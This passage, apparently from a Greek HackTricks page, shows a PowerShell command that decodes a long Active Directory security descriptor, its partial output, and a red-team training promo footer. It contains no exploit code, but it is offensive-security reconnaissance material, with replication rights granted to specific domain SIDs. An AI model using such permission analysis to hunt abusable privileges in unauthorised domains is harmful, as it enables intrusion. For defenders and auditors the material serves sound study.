PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Ιδιοκτήτης: BUILTIN\Administrators
Ομάδα: BUILTIN\Administrators
DiscretionaryAcl: {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions, Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)...}
SystemAcl: {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse), BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users: SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess (Traverse)...}
RawDescriptor: System.Security.AccessControl.CommonSecurityDescriptor
<details>

<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.

</details>

Last updated